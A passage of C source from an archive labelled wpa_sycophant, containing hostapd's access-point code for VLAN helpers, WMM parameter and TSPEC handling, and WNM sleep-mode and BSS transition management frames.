vlan_rem_error; } ret = 0; vlan_rem_error: if (rlink) rtnl_link_put(rlink); if (handle) nl_socket_free(handle); return ret; } int vlan_set_name_type(unsigned int name_type) { return 0; } wpa_sycophant-master/src/ap/vlan_util.h000066400000000000000000000017241377436615100206040ustar00rootroot00000000000000/* * hostapd / VLAN netlink/ioctl api * Copyright (c) 2012, Michael Braun * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef VLAN_UTIL_H #define VLAN_UTIL_H struct hostapd_data; struct hostapd_vlan; struct full_dynamic_vlan; int vlan_add(const char *if_name, int vid, const char *vlan_if_name); int vlan_rem(const char *if_name); int vlan_set_name_type(unsigned int name_type); int ifconfig_helper(const char *if_name, int up); int ifconfig_up(const char *if_name); int iface_exists(const char *ifname); int vlan_if_remove(struct hostapd_data *hapd, struct hostapd_vlan *vlan); struct full_dynamic_vlan * full_dynamic_vlan_init(struct hostapd_data *hapd); void full_dynamic_vlan_deinit(struct full_dynamic_vlan *priv); void vlan_newlink(const char *ifname, struct hostapd_data *hapd); void vlan_dellink(const char *ifname, struct hostapd_data *hapd); #endif /* VLAN_UTIL_H */ wpa_sycophant-master/src/ap/wmm.c000066400000000000000000000234251377436615100174040ustar00rootroot00000000000000/* * hostapd / WMM (Wi-Fi Multimedia) * Copyright 2002-2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "hostapd.h" #include "ieee802_11.h" #include "sta_info.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "wmm.h" static inline u8 wmm_aci_aifsn(int aifsn, int acm, int aci) { u8 ret; ret = (aifsn << WMM_AC_AIFNS_SHIFT) & WMM_AC_AIFSN_MASK; if (acm) ret |= WMM_AC_ACM; ret |= (aci << WMM_AC_ACI_SHIFT) & WMM_AC_ACI_MASK; return ret; } static inline u8 wmm_ecw(int ecwmin, int ecwmax) { return ((ecwmin << WMM_AC_ECWMIN_SHIFT) & WMM_AC_ECWMIN_MASK) | ((ecwmax << WMM_AC_ECWMAX_SHIFT) & WMM_AC_ECWMAX_MASK); } /* * Add WMM Parameter Element to Beacon, Probe Response, and (Re)Association * Response frames. */ u8 * hostapd_eid_wmm(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; struct wmm_parameter_element *wmm = (struct wmm_parameter_element *) (pos + 2); int e; if (!hapd->conf->wmm_enabled) return eid; eid[0] = WLAN_EID_VENDOR_SPECIFIC; wmm->oui[0] = 0x00; wmm->oui[1] = 0x50; wmm->oui[2] = 0xf2; wmm->oui_type = WMM_OUI_TYPE; wmm->oui_subtype = WMM_OUI_SUBTYPE_PARAMETER_ELEMENT; wmm->version = WMM_VERSION; wmm->qos_info = hapd->parameter_set_count & 0xf; if (hapd->conf->wmm_uapsd && (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_UAPSD)) wmm->qos_info |= 0x80; wmm->reserved = 0; /* fill in a parameter set record for each AC */ for (e = 0; e < 4; e++) { struct wmm_ac_parameter *ac = &wmm->ac[e]; struct hostapd_wmm_ac_params *acp = &hapd->iconf->wmm_ac_params[e]; ac->aci_aifsn = wmm_aci_aifsn(acp->aifs, acp->admission_control_mandatory, e); ac->cw = wmm_ecw(acp->cwmin, acp->cwmax); ac->txop_limit = host_to_le16(acp->txop_limit); } pos = (u8 *) (wmm + 1); eid[1] = pos - eid - 2; /* element length */ return pos; } /* * This function is called when a station sends an association request with * WMM info element. The function returns 1 on success or 0 on any error in WMM * element. eid does not include Element ID and Length octets. */ int hostapd_eid_wmm_valid(struct hostapd_data *hapd, const u8 *eid, size_t len) { struct wmm_information_element *wmm; wpa_hexdump(MSG_MSGDUMP, "WMM IE", eid, len); if (len < sizeof(struct wmm_information_element)) { wpa_printf(MSG_DEBUG, "Too short WMM IE (len=%lu)", (unsigned long) len); return 0; } wmm = (struct wmm_information_element *) eid; wpa_printf(MSG_DEBUG, "Validating WMM IE: OUI %02x:%02x:%02x " "OUI type %d OUI sub-type %d version %d QoS info 0x%x", wmm->oui[0], wmm->oui[1], wmm->oui[2], wmm->oui_type, wmm->oui_subtype, wmm->version, wmm->qos_info); if (wmm->oui_subtype != WMM_OUI_SUBTYPE_INFORMATION_ELEMENT || wmm->version != WMM_VERSION) { wpa_printf(MSG_DEBUG, "Unsupported WMM IE Subtype/Version"); return 0; } return 1; } static void wmm_send_action(struct hostapd_data *hapd, const u8 *addr, const struct wmm_tspec_element *tspec, u8 action_code, u8 dialogue_token, u8 status_code) { u8 buf[256]; struct ieee80211_mgmt *m = (struct ieee80211_mgmt *) buf; struct wmm_tspec_element *t = (struct wmm_tspec_element *) m->u.action.u.wmm_action.variable; int len; hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "action response - reason %d", status_code); os_memset(buf, 0, sizeof(buf)); m->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(m->da, addr, ETH_ALEN); os_memcpy(m->sa, hapd->own_addr, ETH_ALEN); os_memcpy(m->bssid, hapd->own_addr, ETH_ALEN); m->u.action.category = WLAN_ACTION_WMM; m->u.action.u.wmm_action.action_code = action_code; m->u.action.u.wmm_action.dialog_token = dialogue_token; m->u.action.u.wmm_action.status_code = status_code; os_memcpy(t, tspec, sizeof(struct wmm_tspec_element)); len = ((u8 *) (t + 1)) - buf; if (hostapd_drv_send_mlme(hapd, m, len, 0) < 0) wpa_printf(MSG_INFO, "wmm_send_action: send failed"); } int wmm_process_tspec(struct wmm_tspec_element *tspec) { u64 medium_time; unsigned int pps, duration; unsigned int up, psb, dir, tid; u16 val, surplus; up = (tspec->ts_info[1] >> 3) & 0x07; psb = (tspec->ts_info[1] >> 2) & 0x01; dir = (tspec->ts_info[0] >> 5) & 0x03; tid = (tspec->ts_info[0] >> 1) & 0x0f; wpa_printf(MSG_DEBUG, "WMM: TS Info: UP=%d PSB=%d Direction=%d TID=%d", up, psb, dir, tid); val = le_to_host16(tspec->nominal_msdu_size); wpa_printf(MSG_DEBUG, "WMM: Nominal MSDU Size: %d%s", val & 0x7fff, val & 0x8000 ? " (fixed)" : ""); wpa_printf(MSG_DEBUG, "WMM: Mean Data Rate: %u bps", le_to_host32(tspec->mean_data_rate)); wpa_printf(MSG_DEBUG, "WMM: Minimum PHY Rate: %u bps", le_to_host32(tspec->minimum_phy_rate)); val = le_to_host16(tspec->surplus_bandwidth_allowance); wpa_printf(MSG_DEBUG, "WMM: Surplus Bandwidth Allowance: %u.%04u", val >> 13, 10000 * (val & 0x1fff) / 0x2000); val = le_to_host16(tspec->nominal_msdu_size); if (val == 0) { wpa_printf(MSG_DEBUG, "WMM: Invalid Nominal MSDU Size (0)"); return WMM_ADDTS_STATUS_INVALID_PARAMETERS; } /* pps = Ceiling((Mean Data Rate / 8) / Nominal MSDU Size) */ pps = ((le_to_host32(tspec->mean_data_rate) / 8) + val - 1) / val; wpa_printf(MSG_DEBUG, "WMM: Packets-per-second estimate for TSPEC: %d", pps); if (le_to_host32(tspec->minimum_phy_rate) < 1000000) { wpa_printf(MSG_DEBUG, "WMM: Too small Minimum PHY Rate"); return WMM_ADDTS_STATUS_INVALID_PARAMETERS; } duration = (le_to_host16(tspec->nominal_msdu_size) & 0x7fff) * 8 / (le_to_host32(tspec->minimum_phy_rate) / 1000000) + 50 /* FIX: proper SIFS + ACK duration */; /* unsigned binary number with an implicit binary point after the * leftmost 3 bits, i.e., 0x2000 = 1.0 */ surplus = le_to_host16(tspec->surplus_bandwidth_allowance); if (surplus <= 0x2000) { wpa_printf(MSG_DEBUG, "WMM: Surplus Bandwidth Allowance not " "greater than unity"); return WMM_ADDTS_STATUS_INVALID_PARAMETERS; } medium_time = (u64) surplus * pps * duration / 0x2000; wpa_printf(MSG_DEBUG, "WMM: Estimated medium time: %lu", (unsigned long) medium_time); /* * TODO: store list of granted (and still active) TSPECs and check * whether there is available medium time for this request. For now, * just refuse requests that would by themselves take very large * portion of the available bandwidth. */ if (medium_time > 750000) { wpa_printf(MSG_DEBUG, "WMM: Refuse TSPEC request for over " "75%% of available bandwidth"); return WMM_ADDTS_STATUS_REFUSED; } /* Convert to 32 microseconds per second unit */ tspec->medium_time = host_to_le16(medium_time / 32); return WMM_ADDTS_STATUS_ADMISSION_ACCEPTED; } static void wmm_addts_req(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, struct wmm_tspec_element *tspec, size_t len) { const u8 *end = ((const u8 *) mgmt) + len; int res; if ((const u8 *) (tspec + 1) > end) { wpa_printf(MSG_DEBUG, "WMM: TSPEC overflow in ADDTS Request"); return; } wpa_printf(MSG_DEBUG, "WMM: ADDTS Request (Dialog Token %d) for TSPEC " "from " MACSTR, mgmt->u.action.u.wmm_action.dialog_token, MAC2STR(mgmt->sa)); res = wmm_process_tspec(tspec); wpa_printf(MSG_DEBUG, "WMM: ADDTS processing result: %d", res); wmm_send_action(hapd, mgmt->sa, tspec, WMM_ACTION_CODE_ADDTS_RESP, mgmt->u.action.u.wmm_action.dialog_token, res); } void hostapd_wmm_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { int action_code; int left = len - IEEE80211_HDRLEN - 4; const u8 *pos = ((const u8 *) mgmt) + IEEE80211_HDRLEN + 4; struct ieee802_11_elems elems; struct sta_info *sta = ap_get_sta(hapd, mgmt->sa); /* check that the request comes from a valid station */ if (!sta || (sta->flags & (WLAN_STA_ASSOC | WLAN_STA_WMM)) != (WLAN_STA_ASSOC | WLAN_STA_WMM)) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "wmm action received is not from associated wmm" " station"); /* TODO: respond with action frame refused status code */ return; } if (left < 0) return; /* not a valid WMM Action frame */ /* extract the tspec info element */ if (ieee802_11_parse_elems(pos, left, &elems, 1) == ParseFailed) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "hostapd_wmm_action - could not parse wmm " "action"); /* TODO: respond with action frame invalid parameters status * code */ return; } if (!elems.wmm_tspec || elems.wmm_tspec_len != (sizeof(struct wmm_tspec_element) - 2)) { hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "hostapd_wmm_action - missing or wrong length " "tspec"); /* TODO: respond with action frame invalid parameters status * code */ return; } /* TODO: check the request is for an AC with ACM set, if not, refuse * request */ action_code = mgmt->u.action.u.wmm_action.action_code; switch (action_code) { case WMM_ACTION_CODE_ADDTS_REQ: wmm_addts_req(hapd, mgmt, (struct wmm_tspec_element *) (elems.wmm_tspec - 2), len); return; #if 0 /* TODO: needed for client implementation */ case WMM_ACTION_CODE_ADDTS_RESP: wmm_setup_request(hapd, mgmt, len); return; /* TODO: handle station teardown requests */ case WMM_ACTION_CODE_DELTS: wmm_teardown(hapd, mgmt, len); return; #endif } hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "hostapd_wmm_action - unknown action code %d", action_code); } wpa_sycophant-master/src/ap/wmm.h000066400000000000000000000012151377436615100174020ustar00rootroot00000000000000/* * hostapd / WMM (Wi-Fi Multimedia) * Copyright 2002-2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WME_H #define WME_H struct ieee80211_mgmt; struct wmm_tspec_element; u8 * hostapd_eid_wmm(struct hostapd_data *hapd, u8 *eid); int hostapd_eid_wmm_valid(struct hostapd_data *hapd, const u8 *eid, size_t len); void hostapd_wmm_action(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len); int wmm_process_tspec(struct wmm_tspec_element *tspec); #endif /* WME_H */ wpa_sycophant-master/src/ap/wnm_ap.c000066400000000000000000000465631377436615100200750ustar00rootroot00000000000000/* * hostapd - WNM * Copyright (c) 2011-2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "ap/hostapd.h" #include "ap/sta_info.h" #include "ap/ap_config.h" #include "ap/ap_drv_ops.h" #include "ap/wpa_auth.h" #include "mbo_ap.h" #include "wnm_ap.h" #define MAX_TFS_IE_LEN 1024 /* get the TFS IE from driver */ static int ieee80211_11_get_tfs_ie(struct hostapd_data *hapd, const u8 *addr, u8 *buf, u16 *buf_len, enum wnm_oper oper) { wpa_printf(MSG_DEBUG, "%s: TFS get operation %d", __func__, oper); return hostapd_drv_wnm_oper(hapd, oper, addr, buf, buf_len); } /* set the TFS IE to driver */ static int ieee80211_11_set_tfs_ie(struct hostapd_data *hapd, const u8 *addr, u8 *buf, u16 *buf_len, enum wnm_oper oper) { wpa_printf(MSG_DEBUG, "%s: TFS set operation %d", __func__, oper); return hostapd_drv_wnm_oper(hapd, oper, addr, buf, buf_len); } /* MLME-SLEEPMODE.response */ static int ieee802_11_send_wnmsleep_resp(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token, u8 action_type, u16 intval) { struct ieee80211_mgmt *mgmt; int res; size_t len; size_t gtk_elem_len = 0; size_t igtk_elem_len = 0; struct wnm_sleep_element wnmsleep_ie; u8 *wnmtfs_ie; u8 wnmsleep_ie_len; u16 wnmtfs_ie_len; u8 *pos; struct sta_info *sta; enum wnm_oper tfs_oper = action_type == WNM_SLEEP_MODE_ENTER ? WNM_SLEEP_TFS_RESP_IE_ADD : WNM_SLEEP_TFS_RESP_IE_NONE; sta = ap_get_sta(hapd, addr); if (sta == NULL) { wpa_printf(MSG_DEBUG, "%s: station not found", __func__); return -EINVAL; } /* WNM-Sleep Mode IE */ os_memset(&wnmsleep_ie, 0, sizeof(struct wnm_sleep_element)); wnmsleep_ie_len = sizeof(struct wnm_sleep_element); wnmsleep_ie.eid = WLAN_EID_WNMSLEEP; wnmsleep_ie.len = wnmsleep_ie_len - 2; wnmsleep_ie.action_type = action_type; wnmsleep_ie.status = WNM_STATUS_SLEEP_ACCEPT; wnmsleep_ie.intval = host_to_le16(intval); /* TFS IE(s) */ wnmtfs_ie = os_zalloc(MAX_TFS_IE_LEN); if (wnmtfs_ie == NULL) return -1; if (ieee80211_11_get_tfs_ie(hapd, addr, wnmtfs_ie, &wnmtfs_ie_len, tfs_oper)) { wnmtfs_ie_len = 0; os_free(wnmtfs_ie); wnmtfs_ie = NULL; } #define MAX_GTK_SUBELEM_LEN 45 #define MAX_IGTK_SUBELEM_LEN 26 mgmt = os_zalloc(sizeof(*mgmt) + wnmsleep_ie_len + MAX_GTK_SUBELEM_LEN + MAX_IGTK_SUBELEM_LEN); if (mgmt == NULL) { wpa_printf(MSG_DEBUG, "MLME: Failed to allocate buffer for " "WNM-Sleep Response action frame"); res = -1; goto fail; } os_memcpy(mgmt->da, addr, ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); mgmt->u.action.category = WLAN_ACTION_WNM; mgmt->u.action.u.wnm_sleep_resp.action = WNM_SLEEP_MODE_RESP; mgmt->u.action.u.wnm_sleep_resp.dialogtoken = dialog_token; pos = (u8 *)mgmt->u.action.u.wnm_sleep_resp.variable; /* add key data if MFP is enabled */ if (!wpa_auth_uses_mfp(sta->wpa_sm) || hapd->conf->wnm_sleep_mode_no_keys || action_type != WNM_SLEEP_MODE_EXIT) { mgmt->u.action.u.wnm_sleep_resp.keydata_len = 0; } else { gtk_elem_len = wpa_wnmsleep_gtk_subelem(sta->wpa_sm, pos); pos += gtk_elem_len; wpa_printf(MSG_DEBUG, "Pass 4, gtk_len = %d", (int) gtk_elem_len); #ifdef CONFIG_IEEE80211W res = wpa_wnmsleep_igtk_subelem(sta->wpa_sm, pos); if (res < 0) goto fail; igtk_elem_len = res; pos += igtk_elem_len; wpa_printf(MSG_DEBUG, "Pass 4 igtk_len = %d", (int) igtk_elem_len); #endif /* CONFIG_IEEE80211W */ WPA_PUT_LE16((u8 *) &mgmt->u.action.u.wnm_sleep_resp.keydata_len, gtk_elem_len + igtk_elem_len); } os_memcpy(pos, &wnmsleep_ie, wnmsleep_ie_len); /* copy TFS IE here */ pos += wnmsleep_ie_len; if (wnmtfs_ie) os_memcpy(pos, wnmtfs_ie, wnmtfs_ie_len); len = 1 + sizeof(mgmt->u.action.u.wnm_sleep_resp) + gtk_elem_len + igtk_elem_len + wnmsleep_ie_len + wnmtfs_ie_len; /* In driver, response frame should be forced to sent when STA is in * PS mode */ res = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, mgmt->da, &mgmt->u.action.category, len); if (!res) { wpa_printf(MSG_DEBUG, "Successfully send WNM-Sleep Response " "frame"); /* when entering wnmsleep * 1. pause the node in driver * 2. mark the node so that AP won't update GTK/IGTK during * WNM Sleep */ if (wnmsleep_ie.status == WNM_STATUS_SLEEP_ACCEPT && wnmsleep_ie.action_type == WNM_SLEEP_MODE_ENTER) { sta->flags |= WLAN_STA_WNM_SLEEP_MODE; hostapd_drv_wnm_oper(hapd, WNM_SLEEP_ENTER_CONFIRM, addr, NULL, NULL); wpa_set_wnmsleep(sta->wpa_sm, 1); } /* when exiting wnmsleep * 1. unmark the node * 2. start GTK/IGTK update if MFP is not used * 3. unpause the node in driver */ if ((wnmsleep_ie.status == WNM_STATUS_SLEEP_ACCEPT || wnmsleep_ie.status == WNM_STATUS_SLEEP_EXIT_ACCEPT_GTK_UPDATE) && wnmsleep_ie.action_type == WNM_SLEEP_MODE_EXIT) { sta->flags &= ~WLAN_STA_WNM_SLEEP_MODE; wpa_set_wnmsleep(sta->wpa_sm, 0); hostapd_drv_wnm_oper(hapd, WNM_SLEEP_EXIT_CONFIRM, addr, NULL, NULL); if (!wpa_auth_uses_mfp(sta->wpa_sm) || hapd->conf->wnm_sleep_mode_no_keys) wpa_wnmsleep_rekey_gtk(sta->wpa_sm); } } else wpa_printf(MSG_DEBUG, "Fail to send WNM-Sleep Response frame"); #undef MAX_GTK_SUBELEM_LEN #undef MAX_IGTK_SUBELEM_LEN fail: os_free(wnmtfs_ie); os_free(mgmt); return res; } static void ieee802_11_rx_wnmsleep_req(struct hostapd_data *hapd, const u8 *addr, const u8 *frm, int len) { /* Dialog Token [1] | WNM-Sleep Mode IE | TFS Response IE */ const u8 *pos = frm; u8 dialog_token; struct wnm_sleep_element *wnmsleep_ie = NULL; /* multiple TFS Req IE (assuming consecutive) */ u8 *tfsreq_ie_start = NULL; u8 *tfsreq_ie_end = NULL; u16 tfsreq_ie_len = 0; if (!hapd->conf->wnm_sleep_mode) { wpa_printf(MSG_DEBUG, "Ignore WNM-Sleep Mode Request from " MACSTR " since WNM-Sleep Mode is disabled", MAC2STR(addr)); return; } dialog_token = *pos++; while (pos + 1 < frm + len) { u8 ie_len = pos[1]; if (pos + 2 + ie_len > frm + len) break; if (*pos == WLAN_EID_WNMSLEEP && ie_len >= (int) sizeof(*wnmsleep_ie) - 2) wnmsleep_ie = (struct wnm_sleep_element *) pos; else if (*pos == WLAN_EID_TFS_REQ) { if (!tfsreq_ie_start) tfsreq_ie_start = (u8 *) pos; tfsreq_ie_end = (u8 *) pos; } else wpa_printf(MSG_DEBUG, "WNM: EID %d not recognized", *pos); pos += ie_len + 2; } if (!wnmsleep_ie) { wpa_printf(MSG_DEBUG, "No WNM-Sleep IE found"); return; } if (wnmsleep_ie->action_type == WNM_SLEEP_MODE_ENTER && tfsreq_ie_start && tfsreq_ie_end && tfsreq_ie_end - tfsreq_ie_start >= 0) { tfsreq_ie_len = (tfsreq_ie_end + tfsreq_ie_end[1] + 2) - tfsreq_ie_start; wpa_printf(MSG_DEBUG, "TFS Req IE(s) found"); /* pass the TFS Req IE(s) to driver for processing */ if (ieee80211_11_set_tfs_ie(hapd, addr, tfsreq_ie_start, &tfsreq_ie_len, WNM_SLEEP_TFS_REQ_IE_SET)) wpa_printf(MSG_DEBUG, "Fail to set TFS Req IE"); } ieee802_11_send_wnmsleep_resp(hapd, addr, dialog_token, wnmsleep_ie->action_type, le_to_host16(wnmsleep_ie->intval)); if (wnmsleep_ie->action_type == WNM_SLEEP_MODE_EXIT) { /* clear the tfs after sending the resp frame */ ieee80211_11_set_tfs_ie(hapd, addr, tfsreq_ie_start, &tfsreq_ie_len, WNM_SLEEP_TFS_IE_DEL); } } static int ieee802_11_send_bss_trans_mgmt_request(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token) { struct ieee80211_mgmt *mgmt; size_t len; u8 *pos; int res; mgmt = os_zalloc(sizeof(*mgmt)); if (mgmt == NULL) return -1; os_memcpy(mgmt->da, addr, ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); mgmt->u.action.category = WLAN_ACTION_WNM; mgmt->u.action.u.bss_tm_req.action = WNM_BSS_TRANS_MGMT_REQ; mgmt->u.action.u.bss_tm_req.dialog_token = dialog_token; mgmt->u.action.u.bss_tm_req.req_mode = 0; mgmt->u.action.u.bss_tm_req.disassoc_timer = host_to_le16(0); mgmt->u.action.u.bss_tm_req.validity_interval = 1; pos = mgmt->u.action.u.bss_tm_req.variable; wpa_printf(MSG_DEBUG, "WNM: Send BSS Transition Management Request to " MACSTR " dialog_token=%u req_mode=0x%x disassoc_timer=%u " "validity_interval=%u", MAC2STR(addr), dialog_token, mgmt->u.action.u.bss_tm_req.req_mode, le_to_host16(mgmt->u.action.u.bss_tm_req.disassoc_timer), mgmt->u.action.u.bss_tm_req.validity_interval); len = pos - &mgmt->u.action.category; res = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, mgmt->da, &mgmt->u.action.category, len); os_free(mgmt); return res; } static void ieee802_11_rx_bss_trans_mgmt_query(struct hostapd_data *hapd, const u8 *addr, const u8 *frm, size_t len) { u8 dialog_token, reason; const u8 *pos, *end; int enabled = hapd->conf->bss_transition; #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled) enabled = 1; #endif /* CONFIG_MBO */ if (!enabled) { wpa_printf(MSG_DEBUG, "Ignore BSS Transition Management Query from " MACSTR " since BSS Transition Management is disabled", MAC2STR(addr)); return; } if (len < 2) { wpa_printf(MSG_DEBUG, "WNM: Ignore too short BSS Transition Management Query from " MACSTR, MAC2STR(addr)); return; } pos = frm; end = pos + len; dialog_token = *pos++; reason = *pos++; wpa_printf(MSG_DEBUG, "WNM: BSS Transition Management Query from " MACSTR " dialog_token=%u reason=%u", MAC2STR(addr), dialog_token, reason); wpa_hexdump(MSG_DEBUG, "WNM: BSS Transition Candidate List Entries", pos, end - pos); ieee802_11_send_bss_trans_mgmt_request(hapd, addr, dialog_token); } void ap_sta_reset_steer_flag_timer(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; if (sta->agreed_to_steer) { wpa_printf(MSG_DEBUG, "%s: Reset steering flag for STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); sta->agreed_to_steer = 0; } } static void ieee802_11_rx_bss_trans_mgmt_resp(struct hostapd_data *hapd, const u8 *addr, const u8 *frm, size_t len) { u8 dialog_token, status_code, bss_termination_delay; const u8 *pos, *end; int enabled = hapd->conf->bss_transition; struct sta_info *sta; #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled) enabled = 1; #endif /* CONFIG_MBO */ if (!enabled) { wpa_printf(MSG_DEBUG, "Ignore BSS Transition Management Response from " MACSTR " since BSS Transition Management is disabled", MAC2STR(addr)); return; } if (len < 3) { wpa_printf(MSG_DEBUG, "WNM: Ignore too short BSS Transition Management Response from " MACSTR, MAC2STR(addr)); return; } pos = frm; end = pos + len; dialog_token = *pos++; status_code = *pos++; bss_termination_delay = *pos++; wpa_printf(MSG_DEBUG, "WNM: BSS Transition Management Response from " MACSTR " dialog_token=%u status_code=%u " "bss_termination_delay=%u", MAC2STR(addr), dialog_token, status_code, bss_termination_delay); sta = ap_get_sta(hapd, addr); if (!sta) { wpa_printf(MSG_DEBUG, "Station " MACSTR " not found for received BSS TM Response", MAC2STR(addr)); return; } if (status_code == WNM_BSS_TM_ACCEPT) { if (end - pos < ETH_ALEN) { wpa_printf(MSG_DEBUG, "WNM: not enough room for Target BSSID field"); return; } sta->agreed_to_steer = 1; eloop_cancel_timeout(ap_sta_reset_steer_flag_timer, hapd, sta); eloop_register_timeout(2, 0, ap_sta_reset_steer_flag_timer, hapd, sta); wpa_printf(MSG_DEBUG, "WNM: Target BSSID: " MACSTR, MAC2STR(pos)); wpa_msg(hapd->msg_ctx, MSG_INFO, BSS_TM_RESP MACSTR " status_code=%u bss_termination_delay=%u target_bssid=" MACSTR, MAC2STR(addr), status_code, bss_termination_delay, MAC2STR(pos)); pos += ETH_ALEN; } else { sta->agreed_to_steer = 0; wpa_msg(hapd->msg_ctx, MSG_INFO, BSS_TM_RESP MACSTR " status_code=%u bss_termination_delay=%u", MAC2STR(addr), status_code, bss_termination_delay); } wpa_hexdump(MSG_DEBUG, "WNM: BSS Transition Candidate List Entries", pos, end - pos); } static void ieee802_11_rx_wnm_notification_req(struct hostapd_data *hapd, const u8 *addr, const u8 *buf, size_t len) { u8 dialog_token, type; if (len < 2) return; dialog_token = *buf++; type = *buf++; len -= 2; wpa_printf(MSG_DEBUG, "WNM: Received WNM Notification Request frame from " MACSTR " (dialog_token=%u type=%u)", MAC2STR(addr), dialog_token, type); wpa_hexdump(MSG_MSGDUMP, "WNM: Notification Request subelements", buf, len); if (type == WLAN_EID_VENDOR_SPECIFIC) mbo_ap_wnm_notification_req(hapd, addr, buf, len); } int ieee802_11_rx_wnm_action_ap(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { u8 action; const u8 *payload; size_t plen; if (len < IEEE80211_HDRLEN + 2) return -1; payload = ((const u8 *) mgmt) + IEEE80211_HDRLEN + 1; action = *payload++; plen = len - IEEE80211_HDRLEN - 2; switch (action) { case WNM_BSS_TRANS_MGMT_QUERY: ieee802_11_rx_bss_trans_mgmt_query(hapd, mgmt->sa, payload, plen); return 0; case WNM_BSS_TRANS_MGMT_RESP: ieee802_11_rx_bss_trans_mgmt_resp(hapd, mgmt->sa, payload, plen); return 0; case WNM_SLEEP_MODE_REQ: ieee802_11_rx_wnmsleep_req(hapd, mgmt->sa, payload, plen); return 0; case WNM_NOTIFICATION_REQ: ieee802_11_rx_wnm_notification_req(hapd, mgmt->sa, payload, plen); return 0; } wpa_printf(MSG_DEBUG, "WNM: Unsupported WNM Action %u from " MACSTR, action, MAC2STR(mgmt->sa)); return -1; } int wnm_send_disassoc_imminent(struct hostapd_data *hapd, struct sta_info *sta, int disassoc_timer) { u8 buf[1000], *pos; struct ieee80211_mgmt *mgmt; os_memset(buf, 0, sizeof(buf)); mgmt = (struct ieee80211_mgmt *) buf; mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(mgmt->da, sta->addr, ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); mgmt->u.action.category = WLAN_ACTION_WNM; mgmt->u.action.u.bss_tm_req.action = WNM_BSS_TRANS_MGMT_REQ; mgmt->u.action.u.bss_tm_req.dialog_token = 1; mgmt->u.action.u.bss_tm_req.req_mode = WNM_BSS_TM_REQ_DISASSOC_IMMINENT; mgmt->u.action.u.bss_tm_req.disassoc_timer = host_to_le16(disassoc_timer); mgmt->u.action.u.bss_tm_req.validity_interval = 0; pos = mgmt->u.action.u.bss_tm_req.variable; wpa_printf(MSG_DEBUG, "WNM: Send BSS Transition Management Request frame to indicate imminent disassociation (disassoc_timer=%d) to " MACSTR, disassoc_timer, MAC2STR(sta->addr)); if (hostapd_drv_send_mlme(hapd, buf, pos - buf, 0) < 0) { wpa_printf(MSG_DEBUG, "Failed to send BSS Transition " "Management Request frame"); return -1; } return 0; } static void set_disassoc_timer(struct hostapd_data *hapd, struct sta_info *sta, int disassoc_timer) { int timeout, beacon_int; /* * Prevent STA from reconnecting using cached PMKSA to force * full authentication with the authentication server (which may * decide to reject the connection), */ wpa_auth_pmksa_remove(hapd->wpa_auth, sta->addr); beacon_int = hapd->iconf->beacon_int; if (beacon_int < 1) beacon_int = 100; /* best guess */ /* Calculate timeout in ms based on beacon_int in TU */ timeout = disassoc_timer * beacon_int * 128 / 125; wpa_printf(MSG_DEBUG, "Disassociation timer for " MACSTR " set to %d ms", MAC2STR(sta->addr), timeout); sta->timeout_next = STA_DISASSOC_FROM_CLI; eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(timeout / 1000, timeout % 1000 * 1000, ap_handle_timer, hapd, sta); } int wnm_send_ess_disassoc_imminent(struct hostapd_data *hapd, struct sta_info *sta, const char *url, int disassoc_timer) { u8 buf[1000], *pos; struct ieee80211_mgmt *mgmt; size_t url_len; os_memset(buf, 0, sizeof(buf)); mgmt = (struct ieee80211_mgmt *) buf; mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); os_memcpy(mgmt->da, sta->addr, 